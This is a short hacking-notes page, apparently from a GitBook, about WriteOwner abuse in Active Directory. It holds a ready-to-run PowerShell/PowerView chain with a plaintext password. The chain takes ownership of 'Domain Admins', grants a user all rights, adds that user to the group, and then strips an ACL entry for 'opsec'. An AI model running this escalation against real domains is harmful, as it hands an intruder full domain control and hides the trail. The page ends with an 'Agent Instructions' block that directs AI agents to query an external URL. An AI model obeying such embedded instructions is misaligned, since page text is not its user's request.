# WriteOwner

User:

Group:

```powershell
$Password = ConvertTo-SecureString 'W3llcr4ft3d_4cls' -AsPlainText -Force 
$Cred = New-Object System.Management.Automation.PSCredential('object.local\maria', $Password)

# make the user the owner of the group
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity MARIA -Cred $Cred

# add All rights to the user (see https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainObjectAcl/)
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All -Credential $Cred

# add user to domain group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria' -Credential $Cred

# opsec
Remove-DomainObjectAcl -Credential $cred -TargetIdentity "Domain Admins" -Rights WriteMembers
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://f1rstbyt3.gitbook.io/hacking-notes/active-directory/discretionary-access-control-list-dacl/writeowner.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
